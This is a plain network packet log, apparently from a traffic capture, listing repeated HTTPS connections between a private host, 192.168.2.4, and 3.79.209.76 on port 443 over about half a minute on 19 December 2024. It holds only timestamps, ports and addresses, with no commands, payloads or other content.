Dec 19, 2024 22:40:45.165153027 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.165179968 CET	443	49754	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:45.167084932 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.167138100 CET	443	49754	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:45.859103918 CET	443	49754	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:45.859164953 CET	443	49754	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:45.859345913 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.859345913 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.859411001 CET	443	49754	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:45.859452009 CET	443	49754	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:45.859481096 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.859504938 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.859545946 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.859546900 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.859576941 CET	443	49754	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:45.859647036 CET	49754	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.976922035 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.976960897 CET	443	49755	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:45.977041006 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.977312088 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:45.977324009 CET	443	49755	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:47.384468079 CET	443	49755	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:47.384557962 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:47.384980917 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:47.384988070 CET	443	49755	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:47.386466026 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:47.386482954 CET	443	49755	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:48.078411102 CET	443	49755	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:48.078473091 CET	443	49755	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:48.078542948 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:48.078567028 CET	443	49755	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:48.078598976 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:48.078613043 CET	443	49755	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:48.078644991 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:48.078690052 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:48.078958035 CET	49755	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:48.078972101 CET	443	49755	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:48.195451021 CET	49756	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:48.195477962 CET	443	49756	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:48.195571899 CET	49756	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:48.195770025 CET	49756	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:48.195780993 CET	443	49756	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:49.594554901 CET	443	49756	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:49.594630003 CET	49756	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:49.704161882 CET	49756	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:49.704174995 CET	443	49756	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:49.705888987 CET	49756	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:49.705893993 CET	443	49756	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:50.312987089 CET	443	49756	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:50.313045979 CET	443	49756	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:50.313097000 CET	49756	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:50.313112020 CET	443	49756	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:50.313180923 CET	49756	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:50.313215017 CET	443	49756	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:50.313282013 CET	49756	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:50.313674927 CET	49756	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:50.313685894 CET	443	49756	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:50.445632935 CET	49757	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:50.445723057 CET	443	49757	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:50.445838928 CET	49757	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:50.446084976 CET	49757	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:50.446115017 CET	443	49757	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:51.835979939 CET	443	49757	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:51.836214066 CET	49757	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:51.836555004 CET	49757	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:51.836582899 CET	443	49757	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:51.838188887 CET	49757	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:51.838203907 CET	443	49757	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:52.531388998 CET	443	49757	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:52.531450987 CET	443	49757	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:52.531647921 CET	443	49757	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:52.531694889 CET	49757	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:52.531696081 CET	49757	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:52.531773090 CET	49757	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:52.532217026 CET	49757	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:52.532280922 CET	443	49757	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:52.648772955 CET	49758	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:52.648814917 CET	443	49758	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:52.648885965 CET	49758	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:52.649105072 CET	49758	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:52.649111986 CET	443	49758	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:54.044296980 CET	443	49758	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:54.044513941 CET	49758	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:54.044956923 CET	49758	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:54.044962883 CET	443	49758	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:54.046617031 CET	49758	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:54.046622038 CET	443	49758	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:54.750690937 CET	443	49758	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:54.750751972 CET	443	49758	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:54.750888109 CET	443	49758	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:54.750901937 CET	49758	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:54.750969887 CET	49758	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:54.762325048 CET	49758	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:54.762360096 CET	443	49758	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:55.218750000 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:55.218862057 CET	443	49759	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:55.218977928 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:55.219696045 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:55.219739914 CET	443	49759	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:56.608226061 CET	443	49759	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:56.608326912 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:56.608874083 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:56.608918905 CET	443	49759	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:56.611011982 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:56.611025095 CET	443	49759	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:57.299772978 CET	443	49759	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:57.299834967 CET	443	49759	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:57.299977064 CET	443	49759	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:57.299977064 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:57.299977064 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:57.300046921 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:57.300091028 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:57.300091028 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:57.300132036 CET	443	49759	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:57.300201893 CET	49759	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:57.459274054 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:57.459393024 CET	443	49760	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:57.459711075 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:57.468219042 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:57.468297958 CET	443	49760	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:58.859622955 CET	443	49760	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:58.859822035 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:58.860333920 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:58.860385895 CET	443	49760	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:58.862072945 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:58.862127066 CET	443	49760	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:59.572521925 CET	443	49760	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:59.572580099 CET	443	49760	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:59.572711945 CET	443	49760	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:59.572742939 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:59.572742939 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:59.572952032 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:59.573054075 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:59.573054075 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:59.573103905 CET	443	49760	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:59.573750019 CET	49760	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:59.695754051 CET	49762	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:59.695847988 CET	443	49762	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:59.695957899 CET	49762	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:59.696243048 CET	49762	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:59.696278095 CET	443	49762	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:01.097373962 CET	443	49762	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:01.097645998 CET	49762	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:01.098138094 CET	49762	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:01.098190069 CET	443	49762	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:01.099833965 CET	49762	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:01.099850893 CET	443	49762	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:01.797084093 CET	443	49762	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:01.797137976 CET	443	49762	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:01.797265053 CET	443	49762	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:01.797292948 CET	49762	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:01.797293901 CET	49762	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:01.797364950 CET	49762	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:01.797400951 CET	49762	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:01.797436953 CET	443	49762	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:01.922868013 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:01.922904015 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:01.922960997 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:01.923437119 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:01.923449039 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:03.338973999 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:03.339076996 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:03.339389086 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:03.339396954 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:03.340807915 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:03.340811968 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:04.032103062 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:04.032171965 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:04.032171011 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:04.032207966 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:04.032233000 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:04.032269955 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:04.032284021 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:04.032322884 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:04.032351017 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:04.032401085 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:04.032505989 CET	49769	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:04.032515049 CET	443	49769	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:04.148874998 CET	49775	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:04.148962975 CET	443	49775	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:04.149276018 CET	49775	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:04.149485111 CET	49775	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:04.149522066 CET	443	49775	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:05.541116953 CET	443	49775	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:05.541208982 CET	49775	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:05.541588068 CET	49775	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:05.541615009 CET	443	49775	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:05.543411016 CET	49775	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:05.543423891 CET	443	49775	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:06.237565994 CET	443	49775	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:06.237622976 CET	443	49775	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:06.237725973 CET	49775	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:06.237751007 CET	443	49775	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:06.237818003 CET	49775	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:06.237961054 CET	49775	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:06.237998009 CET	443	49775	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:06.367414951 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:06.367470026 CET	443	49781	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:06.367569923 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:06.367786884 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:06.367803097 CET	443	49781	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:07.755012989 CET	443	49781	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:07.755105019 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:07.755534887 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:07.755546093 CET	443	49781	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:07.757288933 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:07.757292986 CET	443	49781	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:08.450952053 CET	443	49781	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:08.451006889 CET	443	49781	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:08.451056004 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:08.451077938 CET	443	49781	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:08.451092005 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:08.451138973 CET	443	49781	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:08.451141119 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:08.451210976 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:08.451467037 CET	49781	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:08.451478958 CET	443	49781	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:08.570552111 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:08.570585012 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:08.570650101 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:08.570904016 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:08.570909977 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:09.961172104 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:09.961225033 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:09.962347984 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:09.962358952 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:09.964332104 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:09.964339018 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:10.661442041 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:10.661508083 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:10.661536932 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:10.661556005 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:10.661571980 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:10.661614895 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:10.661623001 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:10.661660910 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:10.661679983 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:10.661730051 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:10.661973000 CET	49786	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:10.661988974 CET	443	49786	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:10.773763895 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:10.773813963 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:10.773891926 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:10.774175882 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:10.774188995 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.160492897 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.160587072 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.160983086 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.160989046 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.162760019 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.162765026 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.852933884 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.852994919 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.852996111 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.853029013 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.853056908 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.853076935 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.853086948 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.853127956 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.853214025 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.853260040 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.853323936 CET	49792	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.853338003 CET	443	49792	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.976844072 CET	49798	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.976931095 CET	443	49798	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:12.977020025 CET	49798	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.977233887 CET	49798	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:12.977267027 CET	443	49798	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:14.366244078 CET	443	49798	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:14.366342068 CET	49798	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:14.366821051 CET	49798	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:14.366847038 CET	443	49798	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:14.368479967 CET	49798	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:14.368491888 CET	443	49798	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:15.076375961 CET	443	49798	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:15.076452017 CET	443	49798	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:15.076613903 CET	443	49798	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:15.076678991 CET	49798	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:15.076678991 CET	49798	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:15.076847076 CET	49798	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:15.076889992 CET	443	49798	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:15.179878950 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:15.180010080 CET	443	49804	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:15.180093050 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:15.180339098 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:15.180377960 CET	443	49804	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:16.570631027 CET	443	49804	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:16.570708990 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:16.571115017 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:16.571141005 CET	443	49804	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:16.573234081 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:16.573246956 CET	443	49804	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:17.263071060 CET	443	49804	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:17.263133049 CET	443	49804	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:17.263169050 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:17.263202906 CET	443	49804	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:17.263221025 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:17.263250113 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:17.263276100 CET	443	49804	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:17.263335943 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:17.263595104 CET	49804	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:17.263607979 CET	443	49804	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:17.368024111 CET	49810	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:17.368065119 CET	443	49810	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:17.368284941 CET	49810	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:17.368577957 CET	49810	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:17.368613005 CET	443	49810	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:18.757770061 CET	443	49810	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:18.757915020 CET	49810	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:18.777898073 CET	49810	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:18.777924061 CET	443	49810	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:18.804085970 CET	49810	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:18.804141998 CET	443	49810	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:19.467776060 CET	443	49810	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:19.467837095 CET	443	49810	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:19.467988968 CET	443	49810	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:19.468058109 CET	49810	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:19.468058109 CET	49810	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:19.468058109 CET	49810	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:19.468175888 CET	49810	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:19.468197107 CET	443	49810	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:19.586622953 CET	49815	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:19.586718082 CET	443	49815	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:19.586808920 CET	49815	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:19.587110996 CET	49815	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:19.587136984 CET	443	49815	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:20.992093086 CET	443	49815	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:20.992197990 CET	49815	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:20.992542982 CET	49815	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:20.992571115 CET	443	49815	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:20.994261026 CET	49815	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:20.994275093 CET	443	49815	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:21.705118895 CET	443	49815	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:21.705179930 CET	443	49815	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:21.705319881 CET	443	49815	3.79.209.76	192.168.2.4
Dec 19, 2024 22:41:21.705329895 CET	49815	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:21.705331087 CET	49815	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:21.705399990 CET	49815	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:21.705686092 CET	49815	443	192.168.2.4	3.79.209.76
Dec 19, 2024 22:41:21.705748081 CET	443	49815	3.79.209.76	192.168.2.4
